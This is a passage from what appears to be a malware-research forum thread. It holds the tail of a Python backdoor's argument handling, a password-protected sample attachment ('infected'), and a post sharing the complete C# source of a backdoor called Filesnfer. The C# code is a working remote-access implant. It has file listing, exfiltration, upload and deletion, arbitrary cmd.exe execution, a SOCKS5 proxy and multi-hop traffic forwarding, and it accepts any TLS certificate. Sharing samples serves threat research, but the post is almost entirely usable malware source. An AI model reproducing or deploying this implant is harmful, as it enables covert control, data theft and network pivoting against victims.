                    sys.exit()
                destIP = host[0]
                destPort = int(host[1])
                if destPort <= 0 or destPort >= 65535:
                    print_log(ltype.error, 'the input port incorrect.\n')
                    sys.exit()
            else:
                print_log(ltype.error, 'Please input a port.\n')
                sys.exit()
        if arg[i] == '-dir' and argLen > i + 1:
            DefaultDir = arg[i + 1]
        if arg[i] == '-t' and argLen > i + 1:
            argInterval = int(arg[i + 1])
            if argInterval <= 0:
                print_log(ltype.error, 'parameter set error.\n')
                sys.exit()
            tmObj.set_value(argInterval)
            tmObj.start()

    if iMutex <= 0 or iMutex > 1:
        sys.exit(0)
    if bServer == 1:
        ServerX(destIP, destPort)
    monitor.close()
    print_log(ltype.warning, 'Program is exit!\n')
Attachments
PW: infected
(3.07 MiB) Downloaded 19 times
 #32913  by R136a1
 Tue May 07, 2019 1:32 pm
The blog author also found a possible version of the C# implementation of Filesnfer:
6972ba198ed0d30de9f66be5777ecdba2d657078f138325ee6db225c20b29e6e

Source code:
Code: Select all

using System;
using System.Net.Sockets;
using System.Net;
using System.Net.Security;
using System.Threading;
using System.Security.Cryptography.X509Certificates;
using System.IO;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
using System.Diagnostics;
using System.IO.Compression;

public class xserver
{
    static Boolean bConnect = true;
    static int MaxCount = 80;
    static string BindIP = null;
    static string DefaultDir = "";
    static int BUFFER_LEN = 8192;
    static int timer = 0;
    static Boolean bTimer = false;
    static bool ProxySwitch = false;

    [DllImport("shell32.dll")]
    public extern static IntPtr ShellExecute(IntPtr hwnd, string lpOperation, string lpFile, string lpParameters, string lpDirectory, int nShowCmd);

    public struct DirItem
    {
        public Boolean State;
        public ulong mtime;
        public Boolean isDir;
        public ulong filelen;
        [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)]
        public string filename;
    }

    public struct TransItem
    {
        public int Order;
        public int Speed;
        public Boolean Bzip;
        public ulong Length;
        [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 1024)]
        public string m_path;
    }
    class TransArgs
    {
        public Socket sockClient;
        public IPAddress ip;
        public int port;
        public byte[] prebuf;
    }
    class CDir
    {
        byte[] struct_str;
        ulong msg_length = 292;
        public DirItem msg = new DirItem();
        public CDir(byte[] my_struct_str)
        {
            if (my_struct_str != null)
                struct_str = my_struct_str;
            else
            {
                msg.mtime = 0;
                msg.isDir = false;
                msg.filelen = 0;
                msg.filename = "";
            }
        }
        public void clear()
        {
            msg.mtime = 0;
            msg.isDir = false;
            msg.filelen = 0;
            msg.filename = "";
            msg.State = false;
        }
        public Boolean unpack()
        {
            if (struct_str.Length != 292)
                return false;
            IntPtr structPtr = Marshal.AllocHGlobal(296);
            Marshal.Copy(struct_str, 0, structPtr, struct_str.Length);
            msg = (DirItem)Marshal.PtrToStructure(structPtr, typeof(DirItem));
            Marshal.FreeHGlobal(structPtr);
            return true;
        }
        public byte[] pack()
        {
            byte[] pass = new byte[msg_length];
            IntPtr structPtr = Marshal.AllocHGlobal((int)msg_length);
            Marshal.StructureToPtr(msg, structPtr, false);
            Marshal.Copy(structPtr, pass, 0, (int)msg_length);
            Marshal.FreeHGlobal(structPtr);
            return pass;
        }
    }
    class CTrans
    {
        public TransItem msg = new TransItem();
        public int struct_length = 1048;
        public CTrans(byte[] struct_str)
        {
            if (struct_str == null)
            {
                msg.Order = 0;
                msg.Speed = 0;
                msg.Bzip = true;
                msg.Length = 0;
                msg.m_path = "";
            }
        }
        public void clear()
        {
            msg.Order = 0;
            msg.Speed = 0;
            msg.Bzip = true;
            msg.Length = 0;
            msg.m_path = "";
        }
        public Boolean unpack(byte[] struct_str)
        {
            if (struct_str.Length != 1048)
                return false;
            IntPtr structPtr = Marshal.AllocHGlobal(1048);
            Marshal.Copy(struct_str, 0, structPtr, struct_str.Length);
            msg = (TransItem)Marshal.PtrToStructure(structPtr, typeof(TransItem));
            Marshal.FreeHGlobal(structPtr);
            return true;
        }
        public byte[] pack()
        {
            int size = Marshal.SizeOf(msg);
            byte[] pass = new byte[size];
            IntPtr structPtr = Marshal.AllocHGlobal(size);
            Marshal.StructureToPtr(msg, structPtr, false);
            Marshal.Copy(structPtr, pass, 0, size);
            Marshal.FreeHGlobal(structPtr);
            return pass;
        }

    }
    class SockArgs
    {
        public Socket sock;
        public SslStream ssl_sock;
    }
    static void close_socket(Socket s)
    {
        try
        {
            s.Shutdown(SocketShutdown.Both);
            s.Close();
        }
        catch
        {
        }
    }
    static void SendDirList(SockArgs s, string file_path)
    {
        CDir item = new CDir(null);
        DateTime dt1 = Convert.ToDateTime("1969-12-31 16:00:00");
        string find_path = "";
        string matchstr = "";
        Regex pattern = null;
        if (Directory.Exists(file_path))
            find_path = file_path;
        else if (File.Exists(file_path))
        {
            item.clear();
            FileInfo fp = new FileInfo(file_path);
            item.msg.filelen = (ulong)fp.Length;
            TimeSpan ts = fp.LastWriteTime.Subtract(dt1);
            item.msg.mtime = (ulong)ts.TotalSeconds;
            item.msg.filename = fp.Name;
            item.msg.filename = fp.Name;
            SendPacket(s, item.pack(), 292);
            item.clear();
            item.msg.State = true;
            SendPacket(s, item.pack(), 292);
            return;
        }
        else if (file_path.Contains("*") || file_path.Contains("?"))
        {
            int ix = file_path.LastIndexOf("\\");
            if (ix <= 0)
            {
                item.clear();
                item.msg.State = true;
                SendPacket(s, item.pack(), 292);
                return;
            }
            find_path = file_path.Substring(0, ix);
            matchstr = file_path.Substring(ix + 1);
        }
        else
        {
            item.clear();
            item.msg.State = true;
            SendPacket(s, item.pack(), 292);
            return;
        }
        if (matchstr.Length > 0)
        {
            pattern = new Regex(matchstr.Replace(".", "\\.").Replace("*", ".*").Replace("?", ".?") + "$", RegexOptions.IgnoreCase);
        }
        string[] str_files = Directory.GetFiles(find_path);
        string[] str_Dirs = Directory.GetDirectories(find_path);
        foreach (string name in str_Dirs)
        {
            if (pattern != null)
                if (!pattern.IsMatch(name))
                    continue;
            item.clear();
            string abs_path = Path.GetFullPath(name);
            DirectoryInfo fp = new DirectoryInfo(abs_path);
            item.msg.filelen = 0;
            TimeSpan ts = fp.LastWriteTime.Subtract(dt1);
            item.msg.mtime = (ulong)ts.TotalSeconds;
            item.msg.filename = fp.Name;
            item.msg.isDir = true;
            SendPacket(s, item.pack(), 292);
        }
        foreach (string name in str_files)
        {
            if (pattern != null)
                if (!pattern.IsMatch(name))
                    continue;
            item.clear();
            string abs_path = Path.GetFullPath(name);
            FileInfo fp = new FileInfo(abs_path);
            item.msg.filelen = (ulong)fp.Length;
            TimeSpan ts = fp.LastWriteTime.Subtract(dt1);
            item.msg.mtime = (ulong)ts.TotalSeconds;
            item.msg.filename = fp.Name;
            SendPacket(s, item.pack(), 292);
        }

        item.msg.State = true;
        SendPacket(s, item.pack(), 292);
    }
    static Boolean SendPacket(SockArgs s, byte[] buff, ulong sendsize)
    {
        MemoryStream mstr = new MemoryStream();
        DeflateStream compressedzipStream = new DeflateStream(mstr, CompressionMode.Compress, true);
        compressedzipStream.Write(buff, 0, buff.Length);
        compressedzipStream.Close();
        byte[] send_data = new byte[mstr.Length];
        mstr.Seek(0, SeekOrigin.Begin);
        mstr.Read(send_data, 0, (int)mstr.Length);
        try
        {
            s.ssl_sock.Write(BitConverter.GetBytes((int)mstr.Length));
            s.ssl_sock.Write(send_data, 0, send_data.Length);
        }
        catch
        {
            return false;
        }
        finally
        {
            mstr.Close();
        }
        return true;
    }
    static Boolean PutFileData(SockArgs s, string sourceFile, long Length, int types, ulong lLen, long Speeds, Boolean bZip)
    {
        FileStream fp = null;
        long lSize = Length;
        int nSize = (int)lLen;
        double nCount = 0.0;
        DateTime ntime = DateTime.Now;
        try
        {
            fp = File.Open(sourceFile,FileMode.Open,FileAccess.Read);
            if (Speeds <= 0 || Speeds > 1024 * 1024 * 10)
                Speeds = 1024 * 1024 * 10;
            fp.Seek(nSize, SeekOrigin.Begin);
            while (true)
            {
                byte[] buffdata = new byte[BUFFER_LEN];
                int buf_len = fp.Read(buffdata, 0, BUFFER_LEN);
                Array.Resize(ref buffdata, buf_len);
                if (buf_len <= 0)
                    break;
                nCount += buf_len;
                if (Speeds > 0)
                {
                    if (nCount >= (Speeds * 1024 * 2))
                        Thread.Sleep(System.Math.Abs((2000 - (int)DateTime.Now.Subtract(ntime).TotalMilliseconds)));
                }
                if ((int)DateTime.Now.Subtract(ntime).TotalSeconds > 2)
                {
                    ntime = DateTime.Now;
                    nCount = 0;
                }
                if (bZip)
                    SendPacket(s, buffdata, 00);
                else
                    s.ssl_sock.Write(buffdata);
            }
            return true;
        }
        catch (Exception e)
        {
            close_socket(s.sock);
            Console.WriteLine(e.Message);
            return false;
        }
        finally
        {
            if(fp!=null)
            fp.Close();
        }
    }
    static string GenFileName(string str_file)
    {
        string pref = Path.GetFileNameWithoutExtension(str_file);
        string ext = Path.GetExtension(str_file);
        string path = str_file;
        int index = 0;
        while (File.Exists(path))
        {
            path = pref + "-" + index.ToString("000") + ext;
            index++;
        }
        return path;
    }
    static int GetFileData(SockArgs s, string destFile, long Length, int types, long lLen, Boolean bZip)
    {
        int Result = 2;
        FileStream fp = null;
        try
        {
            if (lLen > 0)
                fp = new FileStream(destFile, FileMode.Append,FileAccess.Write);
            else
                fp = new FileStream(destFile, FileMode.Create,FileAccess.Write);
        }
        catch
        {
            return 0;
        }
        long lSize = Length;
        double nCount = 0.0;
        double nTotal = Length + 0.0;
        DateTime nTime = DateTime.Now;
        lSize -= lLen;

        long bLen = BUFFER_LEN;
        try
        {
            while (lSize > 0)
            {
                byte[] buff = RecvPacket(s, 0);
                long nret = buff.LongLength;
                lSize -= nret;
                nCount += nret;
                if (types == 0)
                {
                    if (DateTime.Now.Subtract(nTime).TotalSeconds > 2)
                    {
                        nTime = DateTime.Now;
                        nCount = 0;
                    }

                }
                fp.Write(buff, 0, buff.Length);
            }
        }
        catch
        {
            Result = 1;
        }
        fp.Close();
        return Result;
    }
    static byte[] RecvPacket(SockArgs s, int size)
    {
        try
        {
            byte[] recv_len = RECV(s.ssl_sock, 4, 6, true, s.sock);
            Int32 re_len = BitConverter.ToInt32(recv_len, 0);
            byte[] Buffdate = RECV(s.ssl_sock, re_len, 6, true, s.sock);
            MemoryStream mst2 = new MemoryStream(Buffdate, 2, Buffdate.Length - 2);
            DeflateStream compressedzipStream = new DeflateStream(mst2, CompressionMode.Decompress);
            MemoryStream OutputStream = new MemoryStream();
            byte[] buff = new byte[1024];
            int readsize;
            while ((readsize = compressedzipStream.Read(buff, 0, 1024)) > 0)
                OutputStream.Write(buff, 0, readsize);
            return OutputStream.ToArray();
        }
        catch
        {
            return null;
        }
    }
    static byte[] RECV(SslStream ssl_sock, int size, int timeout, Boolean bLoop, Socket sock)
    {
        int nRet = 0;
        byte[] Buffer = new byte[size * 2];
        try
        {
            while (nRet < size)
            {
                if (!bConnect)
                {
                    ssl_sock.Close();
                    break;
                }
                if (sock.Poll(size, SelectMode.SelectRead))
                {
                    int ret_size = ssl_sock.Read(Buffer, nRet, size - nRet);
                    nRet += ret_size;
                    if (ret_size <= 0)
                        return null;
                }
                else if (sock.Poll(size, SelectMode.SelectError))
                    return null;
            }
        }
        catch
        {
            ssl_sock.Close();
            return null;
        }
        return Buffer;
    }
    public static bool validataserver(
        object send,
        X509Certificate Certificate,
        X509Chain Chain,
        SslPolicyErrors sslerror)
    {
        return true;
    }
    static void ServerLoopPro(object sock)
    {
        SockArgs s = (SockArgs)sock;
        string CurrentDir = DefaultDir;

        try
        {
            while (true)
            {
                if (!bConnect)
                {
                    s.ssl_sock.Close();
                    break;
                }
                byte[] strpack = RecvPacket((SockArgs)sock, 0);
                CTrans RecvArg = new CTrans(null);
                if (RecvArg.unpack(strpack) == false)
                    continue;
                int Order = RecvArg.msg.Order;
                string file_path = "";
                if (Order != 205)
                {
                    try
                    {
                        file_path = Path.GetFullPath(RecvArg.msg.m_path);
                    }
                    catch
                    {
                        file_path = !RecvArg.msg.m_path.Contains(":\\") ? Directory.GetCurrentDirectory() + "\\" + RecvArg.msg.m_path : RecvArg.msg.m_path;
                    }

                }

                if (Order == 200)  //list
                {
                    SendDirList(s, file_path);
                }
                else if (Order == 201)//download
                {
                    int speeds = RecvArg.msg.Speed;
                    long file_len = 0;
                    if (File.Exists(file_path))
                    {
                        FileInfo f_info = new FileInfo(file_path);
                        file_len = f_info.Length;
                    }
                    else
                        file_len = 0;
                    RecvArg.msg.Length = (ulong)file_len;
                    SendPacket(s, RecvArg.pack(), 22);
                    byte[] tmp_da = RecvPacket(s, 0);
                    RecvArg.unpack(tmp_da);
                    if (RecvArg.msg.Order == 0)
                        continue;

                    PutFileData(s, file_path, 0, 1, RecvArg.msg.Length, speeds, RecvArg.msg.Bzip);
                }
                else if (Order == 202)//upload
                {
                    ulong local_len = 0;
                    ulong remote_len = RecvArg.msg.Length;
                    string TempFile = file_path + ".CT";
                    if (Directory.Exists(TempFile))
                    {
                        FileInfo fp = new FileInfo(TempFile);
                        local_len = (ulong)fp.Length;
                    }
                    RecvArg.clear();
                    SendPacket(s, RecvArg.pack(), 1048);
                    if (GetFileData(s, TempFile, (long)remote_len, 1, (long)local_len, RecvArg.msg.Bzip) == 2)
                    {
                        string SaveFile = GenFileName(file_path);
                        FileInfo fp = new FileInfo(TempFile);
                        fp.MoveTo(SaveFile);
                    }
                }
                else if (Order == 204)//del
                {
                    int resCode = 0;
                    if (Directory.Exists(file_path))
                        resCode = 400;
                    else if (!File.Exists(file_path))
                        resCode = 403;
                    else
                    {
                        try
                        {
                            File.Delete(file_path);
                            resCode = 1;
                        }
                        catch
                        {
                            resCode = 0;
                        }

                    }
                    s.ssl_sock.Write(BitConverter.GetBytes(resCode));
                }
                else if (Order == 205)//exec
                {
                    CTrans sendData = new CTrans(null);
                    string m_path = "cd /d " + CurrentDir + " & " + RecvArg.msg.m_path;
                    if (!RecvArg.msg.Bzip)
                    {
                        sendData.msg.Order = 205;
                        string[] strs = RecvArg.msg.m_path.Trim().Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries);
                        RecvArg.msg.m_path = string.Join(" ", strs);
                        string exe_name;
                        string lpParameters;
                        int index = RecvArg.msg.m_path.IndexOf(' ');
                        if (index > 0)
                        {
                            exe_name = RecvArg.msg.m_path.Substring(0, index);
                            lpParameters = RecvArg.msg.m_path.Substring(index);
                        }
                        else
                        {
                            exe_name = RecvArg.msg.m_path;
                            lpParameters = null;
                        }
                        try
                        {
                            IntPtr result;
                            result = ShellExecute(IntPtr.Zero, "open", exe_name, lpParameters, null, 0);
                            sendData.msg.Order = (int)result >= 32 ? 205 : 0;
                            sendData.msg.m_path = (int)result >= 32 ? "" : "Error command:" + RecvArg.msg.m_path;
                        }
                        catch
                        {
                            sendData.msg.Order = 0;
                            sendData.msg.m_path = "Other error.";
                        }
                        SendPacket(s, sendData.pack(), 1048);
                        continue;
                    }
                    ProcessStartInfo start = new ProcessStartInfo("cmd.exe");
                    start.Arguments = "/c " + m_path;
                    start.CreateNoWindow = true;
                    start.RedirectStandardOutput = true;
                    start.RedirectStandardInput = true;
                    start.UseShellExecute = false;
                    start.RedirectStandardError = true;
                    Process p = Process.Start(start);
                    StreamReader reader = p.StandardOutput;
                    string line = reader.ReadLine();
                    string m_result = line + "\r\n";
                    while (!reader.EndOfStream)
                    {
                        line = reader.ReadLine();
                        m_result += (line + "\r\n");
                    }
                    reader.Close();
                    reader = p.StandardError;
                    while (!reader.EndOfStream)
                    {

                        line = reader.ReadLine();
                        m_result += (line + "\r\n");
                    }
                    p.Close();
                    reader.Close();
                    if (m_result != null && m_result.Length >= 1)
                    {
                        int index = 0;
                        while (index < m_result.Length)
                        {

                            sendData.clear();
                            sendData.msg.Order = 205;
                            int send_size = m_result.Length - index > 800 ? 800 : m_result.Length - index;
                            sendData.msg.m_path = m_result.Substring(index, send_size);
                            index += send_size;
                            try
                            {
                                SendPacket(s, sendData.pack(), 1048);
                            }
                            catch { }
                        }
                    }
                    sendData.clear();
                    sendData.msg.Order = 0;
                    SendPacket(s, sendData.pack(), 1048);
                }
                else if (Order == 206)//read interval
                {
                    int nClose = 0;
                    if (bTimer)
                        nClose = timer / 60;
                    s.ssl_sock.Write(BitConverter.GetBytes(nClose));
                    continue;
                }
                else if (Order == 207)//set interval
                {
                    int nRet = 0;
                    if (RecvArg.msg.Speed > 1)
                        if (bTimer)
                        {
                            nRet = 1;
                            timer = RecvArg.msg.Speed * 60;
                        }
                    s.ssl_sock.Write(BitConverter.GetBytes(nRet));
                    continue;
                }
                else if (Order == 208)//change dir
                {
                    int nRet = 0;
                    if (Directory.Exists(RecvArg.msg.m_path))
                    {
                        nRet = 1;
                        CurrentDir = Path.GetFullPath(RecvArg.msg.m_path);
                    }
                    DefaultDir = CurrentDir;
                    Directory.SetCurrentDirectory(DefaultDir);
                    s.ssl_sock.Write(BitConverter.GetBytes(nRet));
                }
                else if (Order == 209)//process list
                {
                    ;
                }
                else if (Order == 210)//pwd
                {
                    RecvArg.clear();
                    RecvArg.msg.Order = Order;
                    RecvArg.msg.m_path = CurrentDir;
                    SendPacket(s, RecvArg.pack(), (ulong)RecvArg.struct_length);
                }
                else if (Order == 211)
                {
                    if(RecvArg.msg.Bzip == false)
                    {
                        s.ssl_sock.Write(BitConverter.GetBytes(Convert.ToInt32(ProxySwitch)));
                    }
                    else{
                        ProxySwitch = Convert.ToBoolean(RecvArg.msg.Speed);
                        s.ssl_sock.Write(BitConverter.GetBytes(Convert.ToInt32(ProxySwitch)));
                    }
                }
                else if (Order == 999)//
                {
                    s.ssl_sock.Write(BitConverter.GetBytes((long)999));
                }
                else
                    s.ssl_sock.Write(System.Text.Encoding.Default.GetBytes("Error, Byebye!\n"));
            }
            s.ssl_sock.Close();
            close_socket(s.sock);
        }
        catch (Exception ex)
        {
            Console.WriteLine("Error: {0}", ex.Message);
        }
        return;
    }
    static void TransmitData(object arg)
    {
        TransArgs args = (TransArgs)arg;
        Socket other = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
        try
        {
            other.Connect(args.ip, args.port);
        }
        catch
        {
            close_socket(other);
            return;
        }
        if (args.prebuf != null && args.prebuf.Length > 0)
            other.Send(args.prebuf);
        int recv_size;
        byte[] buff = new byte[20480];
        while (bConnect)
        {
            try
            {
                if (args.sockClient.Poll(1000, SelectMode.SelectRead))
                {
                    Array.Clear(buff, 0, buff.Length);
                    recv_size = args.sockClient.Receive(buff);
                    if (recv_size == 0)
                        break;
                    else
                        other.Send(buff, 0, recv_size, 0);
                }
                if (other.Poll(1000, SelectMode.SelectRead))
                {
                    Array.Clear(buff, 0, buff.Length);
                    recv_size = other.Receive(buff);
                    if (recv_size == 0)
                        break;
                    else
                        args.sockClient.Send(buff, 0, recv_size, 0);
                }
            }
            catch
            {
                break;
            }
        }
        close_socket(other);
        close_socket(args.sockClient);
    }
    static void ForwardTransmit(object args)
    {
        TransArgs FTa = (TransArgs)args;

        if (FTa.prebuf == null)
        {
            FTa.sockClient.Receive(FTa.prebuf, 2, SocketFlags.None);
        }
        try
        {
            if (FTa.prebuf[0] != 0x17)
            {
                FTa.sockClient.Close();
                return;
            }
            if (FTa.prebuf[1] > 0)
            {
                byte[] infobuf = new byte[6 * FTa.prebuf[1]];
                FTa.sockClient.Receive(infobuf,infobuf.Length,SocketFlags.None);
                byte[] next_ip = new byte[4];

                Array.Copy(infobuf, next_ip, 4);
                byte[] port = new byte[2] { infobuf[5], infobuf[4] };
                FTa.prebuf[1] -= 1;
                byte[] head = new byte[2 + FTa.prebuf[1] * 6];
                if (FTa.prebuf[1] > 0)
                {
                    head[0] = 0x17;
                    head[1] = FTa.prebuf[1];
                    Array.Copy(infobuf, 6, head, 2, FTa.prebuf[1] * 6);
                }
                else
                {
                    Array.Resize(ref head, 0);
                }
                FTa.prebuf = head;
                FTa.port = BitConverter.ToUInt16(port,0);
                FTa.ip = IPAddress.Parse(next_ip[0].ToString()+"."+ next_ip[1].ToString() + "." + next_ip[2].ToString()+"."+ next_ip[3].ToString());
                TransmitData(FTa);
            }
            else
                FTa.sockClient.Close();
        }
        catch
        {
            ;
        }
    }

    public static void reply_error(Socket s)
    {
        try
        {
            byte[] reply = new byte[] { 0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
            s.Send(reply);
            s.Shutdown(SocketShutdown.Both);
            s.Close();
        }
        catch { }
        return;
    }

    public static void ProxyTransmit(object args)
    {
        TransArgs item = (TransArgs)args;
        byte[] RecvBuf = new byte[1024];
        Socket CliSock = item.sockClient;
        IPAddress ip = new IPAddress(0);
        int Port = 0;
        byte[] buf = new byte[1024];
        int Len = 0;
        try
        {
            byte Ver = item.prebuf[0];
            if (Ver != 0x05)
            {
                reply_error(CliSock);
                return;
            }
            byte tnum = item.prebuf[1];
            CliSock.Receive(buf, 0, tnum, SocketFlags.None);
            if(buf[0] != 0)
            {
                reply_error(CliSock);
                return;
            }
            CliSock.Send(new byte[] { 0x05, 0x00 });
        }
        catch
        {
            return;
        }
        
        byte[] reply = new byte[] { 0x05, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
        try
        {
            Len = CliSock.Receive(RecvBuf);
            byte CMD = RecvBuf[1];
            byte ATYP = RecvBuf[3];
            if (CMD == 0x01)
            {
                if (ATYP == 0x01)
                {
                    byte[] Addr = new byte[4];
                    Buffer.BlockCopy(RecvBuf, 4, Addr, 0, 4);
                    String sip = "";
                    foreach (byte b in Addr)
                    {
                        sip += b.ToString() + ".";
                    }
                    IPAddress[] ips = Dns.GetHostAddresses(sip.Remove(sip.Length - 1));
                    ip = ips[0];
                    Port = 256 * RecvBuf[8] + RecvBuf[9];
                }
                else if (ATYP == 0x03)
                {
                    byte AddrLen = RecvBuf[4];
                    byte[] Addr = new byte[AddrLen];
                    Buffer.BlockCopy(RecvBuf, 5, Addr, 0, AddrLen);
                    String HostName = System.Text.Encoding.Default.GetString(Addr);
                    IPAddress[] ips = Dns.GetHostAddresses(HostName);
                    ip = ips[0];
                    Port = 256 * RecvBuf[AddrLen + 5] + RecvBuf[AddrLen + 6];
                }
                else
                {
                    reply_error(CliSock);
                    return;
                }  
            }
        }
        catch
        {
            reply_error(CliSock);
            return;
        }

        try
        {
            CliSock.Send(reply);
            TransArgs targ = new TransArgs();
            targ.sockClient = CliSock;
            targ.ip = ip;
            targ.port = Port;

            TransmitData(targ);
        }
        catch
        {
            reply_error(CliSock);
            return;
        }
    }

    static void ServerX(int ListenPort)
    {
        Socket sockSrv = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
        try
        {
            string ip = BindIP == null ? "0.0.0.0" : BindIP;
            sockSrv.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true);
            sockSrv.Bind(new IPEndPoint(IPAddress.Parse(ip), ListenPort));
            sockSrv.Listen(MaxCount);
        }
        catch
        {
            bConnect = false;
            return;
        }
        if (DefaultDir.Length <= 0)
            DefaultDir = System.Environment.CurrentDirectory;
        while (true)
        {
            if (!bConnect)
            {
                close_socket(sockSrv);
                break;
            }
            if (sockSrv.Poll(1000, SelectMode.SelectRead))
            {
                try
                {
                    Socket ClientSock = sockSrv.Accept();
                    if (ClientSock == null)
                        continue;

                    byte[] prebuf = new byte[2];
                    ClientSock.Receive(prebuf, 2, SocketFlags.None);

                    if (prebuf[0] == '\x05' && ProxySwitch == true)
                    {
                        TransArgs args = new TransArgs();
                        args.sockClient = ClientSock;
                        args.prebuf = prebuf;
                        Thread td = new Thread(ProxyTransmit);
                        td.Start(args);
                        continue;
                    }
                    else if (prebuf[0] == '\x17')
                    {
                        TransArgs args = new TransArgs();
                        args.sockClient = ClientSock;
                        args.prebuf = prebuf;
                        Thread td = new Thread(ForwardTransmit);
                        td.Start(args);
                        continue;
                    }
                    else if (prebuf[0] != 0x18)
                    {
                        if (BindIP != null)
                        {
                            TransArgs args = new TransArgs();
                            args.sockClient = ClientSock;
                            args.ip = IPAddress.Parse("127.0.0.1");
                            args.port = ListenPort;
                            args.prebuf = prebuf;
                            Thread td = new Thread(TransmitData);
                            td.Start(args);
                            continue;
                        }
                        else
                        {
                            ClientSock.Close();
                            continue;
                        }
                    }

                    SslStream Ssl_client = new SslStream(new NetworkStream(ClientSock), false, new RemoteCertificateValidationCallback(validataserver), null);
                    Ssl_client.AuthenticateAsClient("Root");

                    SockArgs sock_param = new SockArgs();
                    sock_param.sock = ClientSock;
                    sock_param.ssl_sock = Ssl_client;
                    string re_info = "WIN|" + Directory.GetCurrentDirectory();
                    SendPacket(sock_param, System.Text.Encoding.Default.GetBytes(re_info), 0);
                    Thread tx = new Thread(ServerLoopPro);
                    tx.Start(sock_param);
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.Message);
                    continue;
                }

            }
            if (sockSrv.Poll(1000, SelectMode.SelectError))
            {
                break;
            }

        }
    }
    static void settimer()
    {
        while (timer > 0)
        {
            if (!bConnect)
                break;
            Thread.Sleep(1 * 1000);
            timer--;
        }
        bConnect = false;
        bTimer = false;
    }
    
    public static void Main(string[] args)
    {
        BindIP = null;
        int ListenPort = 47000;

        int intval = 0;
        if (intval > 0)
        {
            timer = intval * 60;
            bTimer = true;
            Thread tx = new Thread(settimer);
            tx.Start();
        }
        if (ListenPort > 0)
        {
            ServerX(ListenPort);
        }

        return;
    }

}